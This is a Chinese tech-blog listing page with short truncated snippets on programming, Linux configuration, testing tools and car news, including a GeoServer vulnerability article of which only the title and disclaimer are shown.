链接虚拟机修改网络配置文件 输入指令 sudo vi /etc/sysconfig/network-scripts/ifcfg-eth0 然后 输入 按 i 键 再按回车 (enter) 进入编辑模式 修改配置(这几项)其中 IPADDR 就是你想给虚拟机固定的 IP 地址 多台的话只需要修改这个IP 就行其他不变 BOOTPROTO=static…...

以 Vue 3 项目为例,多个请求下如何全局封装 Loading 的展示与关闭?其中大有学问!

大家好,我是CodeQi! 项目开发中,Loading 的展示与关闭是非常关键的用户体验设计。 当我们的应用需要发起多个异步请求时,如何有效地管理全局 Loading 状态,保证用户在等待数据加载时能有明确的反馈,这是一个值得深入探讨的问题。 本文将以 Vue 3 项目为例,详细讲解如…...

Node.js学习(一)

Node.js安装与入门案例&#xff1a; 需求&#xff1a;点击按钮&#xff0c;请求本地目录指定文件的内容&#xff0c;并显示在页面上 刚入门肯定想着直接写相对路径请求指定路径数据就行了&#xff0c;可是会发现不行。 网页运行在浏览器端&#xff0c;通常后续要发布&#xf…...

Spring Data JPA使用及实现原理总结

Spring Data JPA系列 1、SpringBoot集成JPA及基本使用 2、Spring Data JPA Criteria查询、部分字段查询 3、Spring Data JPA数据批量插入、批量更新真的用对了吗 4、Spring Data JPA的一对一、LazyInitializationException异常、一对多、多对多操作 5、Spring Data JPA自定…...

【C语言】extern 关键字

在C语言中&#xff0c;extern关键字用于声明一个变量或函数是定义在另一个文件中的。它使得在多个文件之间共享变量或函数成为可能。extern关键字常见于大型项目中&#xff0c;通常用于声明全局变量或函数&#xff0c;这些变量或函数的定义位于其他文件中。 基本用法 变量声明…...

Linux--V4L2应用程序开发(二)改变亮度

一、思路流程 创建一个新线程用来控制亮度&#xff0c;线程通过读取用户输入来增加或减少亮度值&#xff0c;并使用 ioctl 函数将新亮度值设置到视频设备。 二、代码 /*创建线程来控制亮度*/ pthread_t thread; pthread_create(&thread, NULL, thread_brightness_contrl…...

[Gstreamer] 消息处理handler的设置

前言&#xff1a; Gstreamer 提供以 GstMessage 和 GstBus 为基础的消息传递机制&#xff0c;所有GstMessage 发送的时候都需要指定 GstBus 用来明确当前 message 将在哪条 Bus 上流转。所有的 GstMessage 最终都会进入一个handler&#xff0c;这个handler函数可以通过两种方式…...

线性代数笔记

行列式 求高阶行列式 可以划上三角 上三角 余子式 范德蒙行列式 拉普拉斯公式 行列式行列对换值不变 矩阵 矩阵的运算 同型矩阵加减 对应位置相加减 矩阵的乘法 左边第 i 行 一次 相乘求和 右边 第 j 列 eg 中间相等 两边规模 矩阵的幂运算 解题思路 找规律 数学归纳…...

未公开 GeoServer开源服务器wfs远程命令执行漏洞 已复现(CVE-2024-36401)

0x01 阅读须知 技术文章仅供参考&#xff0c;此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成…...

【WebGIS干货分享】Webgis 面试题-浙江中海达

1、Cesium 中有几种拾取坐标的方式&#xff0c;分别介绍 Cesium 是一个用于创建 3D 地球和地理空间应用的 JavaScript 库。在 Cesium 中&#xff0c;你可以使用不同的方式来拾取坐标&#xff0c;以便与地球或地图上的对象进行交 互。以下是 Cesium 中几种常见的拾取坐标的方式…...

ES 修改索引字段类型

大体的原理&#xff1a; 1&#xff1a;按照老索引按需修改&#xff0c;新建新索引 2&#xff1a;转移数据&#xff08;数据量大&#xff0c;时间会很长&#xff09; 3&#xff1a;删除老索引 4&#xff1a;给新索引 创建别名 第一步&#xff1a;创建新索引 可以先获取老索引ma…...

恢复的实现技术-日志和数据转储

一、引言 在系统正常运行的情况下&#xff0c;事务处理的恢复机制应采取某些技术措施为恢复做好相应的准备&#xff0c;保证在系统发生故障后&#xff0c;能将数据库从一个不一致的错误状态恢复到一个一致性状态 恢复技术主要包括 生成一个数据库日志&#xff0c;来记录系统中…...

全网最全最细的jmeter接口测试教程,建议收藏

在日常工作中&#xff0c;尤其是做接口测试时&#xff0c;我们最经常用到的两个工具&#xff0c;就是Jmeter和postman。今天&#xff0c;我们主要是讲一讲Jmeter在接口测试这一块的一些方式方法。内容比较多&#xff0c;大家可以收藏一下&#xff0c;以后慢慢学。 1&#xff0…...

Raspbian命令行连接WiFi网络

Raspbian命令行连接WiFi网络 1. 源由2. 环境3. 信号4. 连接5. 检查6. 断开 1. 源由 “懒人”多福&#xff0c;是什么原因&#xff0c;大家知道不&#xff0c;哈哈。 如果大家关注过之前《Ardupilot开源代码之Rover上路计划》&#xff0c;为了笔记本电脑在不断网的情况下进行配…...

王佩丰 Excel 基础二十四讲——目录

前言 跟着B站学习王佩丰 Excel 基础教程&#xff0c;本文章为索引目录 课程传送门&#xff1a;视频地址——点击前往 王佩丰Excel基础教程24讲完整版 第一讲&#xff1a;认识 Excel 第二讲&#xff1a;Excel 单元格格式设置 第三讲&#xff1a;查找替换定位&#xff08;未编辑…...

面向对象进阶

面向对象进阶 文章目录 面向对象进阶static&#xff08;静态&#xff09;static内存图工具类练习 static的注意事项重新认识main方法 继承继承的特点练习 子类到底能继承父类中的哪些内容内存图构造方法成员变量成员方法小结 内存分析工具 继承中&#xff1a;成员变量的访问特点…...

数据结构初阶 遍历二叉树问题(一)

一. 链式二叉树的实现 1. 结构体代码 typedef int BTDateType; typedef struct BinaryTreeNode {BTDateType data;struct BinaryTreeNode* left;struct BinaryTreeNode* right; }BTNode; 大概的图形是这样子 2. 增删查改 我们这里要明确的一点的 二叉树的增删查改是没有意…...

【SpringBoot3学习 | 第2篇】SpringBoot3整合+SpringBoot3项目打包运行

文章目录 一. SpringBoot3 整合 SpringMVC1.1 配置静态资源位置1.2 自定义拦截器&#xff08;SpringMVC配置&#xff09; 二. SpringBoot3 整合 Druid 数据源三. SpringBoot3 整合 Mybatis3.1 Mybatis整合3.2 声明式事务整合配置3.3 AOP整合配置 四. SpringBoot3 项目打包和运行…...

【全网最全ABC三题完整版】2024年APMCM第十四届亚太地区大学生数学建模竞赛(中文赛项)完整思路解析+代码+论文

我是Tina表姐&#xff0c;毕业于中国人民大学&#xff0c;对数学建模的热爱让我在这一领域深耕多年。我的建模思路已经帮助了百余位学习者和参赛者在数学建模的道路上取得了显著的进步和成就。现在&#xff0c;我将这份宝贵的经验和知识凝练成一份全面的解题思路与代码论文集合…...

力扣:LCR 024. 反转链表(Java)

目录 题目描述&#xff1a;示例 1&#xff1a;示例 2&#xff1a;代码实现&#xff1a; 题目描述&#xff1a; 给定单链表的头节点 head &#xff0c;请反转链表&#xff0c;并返回反转后的链表的头节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#x…...

卫星网络——Walker星座简单介绍

一、星座构型介绍 近年来&#xff0c;随着卫星应用领的不断拓展&#xff0c;许多任务已经无法单纯依靠单颗卫星来完成。与单个卫星相比&#xff0c;卫星星座的覆盖范围显著增加&#xff0c;合理的星座构型可以使其达到全球连续覆盖或全球多重连续覆盖&#xff0c;这样的特性使得…...

540°全域透明底盘“爸”气从容跨越障碍

无论孩子多大,在学业或工作上遇到的障碍,父亲总会以更宽广的视野为我们拨开云雾。为给全家人带来开挂级的开阔视野,而奇瑞舒享家配备540全域透明底盘,透明底盘+360高清全景影像,让障碍无处遁形。且可实现高清2D/3D视图切换,全方位观察车辆周围及车底的情况,一目了然;还…...

售价53.86万元新款奔驰E350eL插混版正式上市

6月1日,在 2024 粤港澳车展上,新款梅赛德斯-奔驰 E 350e L 插混版正式上市,售价 53.86 万元。外观方面,新车整体依旧延续燃油版车型的样子,标志性的“花生”大灯,大尺寸格栅以及立标等元素均得以保留。尺寸方面,新车也是保持一直,长宽高分别为 5092/1880/1489mm,轴距为…...

售4.99万元起,外观简约动感,新款奇瑞瑞虎3x惠民版实车亮相!

近日,奇瑞旗下小型SUV——新款奇瑞瑞虎3x惠民版实车亮相!共推出了3款车型,售价4.99万元起,外观简约动感,产品力如何呢?解析奉上!首先来看动力部分,新车搭载的是1.5升自然吸气发动机,最大功率85千瓦,峰值扭矩143牛米,匹配的是5速手动变速箱和CVT无级变速箱。再来看颜…...

极氪007开卷了,007新增后驱增强版

极氪开卷了,007新增后驱增强版,价格和原本入门版一样,但是加赠了需要额外选装的舒适套装和科技全感套装,相当于后续智驾版去掉一颗激光雷达和一块NVIDIA DRIVE Orin驾驶辅助芯片,然后减了2万车价。这下极氪007的入门版就很香了,舒适配置齐平高配,仅智驾部分稍弱一些。很…...

磁带存储:“不老的传说”依然在继续

现在是一个数据指数增长的时代&#xff0c;根据IDC数据预测&#xff0c;2025年全世界将产生175ZB的数据。 这里面大部分数据是不需要存储的&#xff0c;在2025预计每年需要存储11ZB的数据。换算个容易理解的说法&#xff0c;1ZB是10^18Bytes, 相当于要写5556万块容量18TB的硬盘…...

【C++】模拟实现string类

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C ⚙️操作环境:Visual Studio 2022 目录 一.了解项目功能 二.逐步实现项目功能模块及其逻辑详解 &#x1f38f;构建成员变量 &#x1f38f;实现string类默认成员函数 &#x1f4cc;构造函数 &#x1f4cc;析构函数…...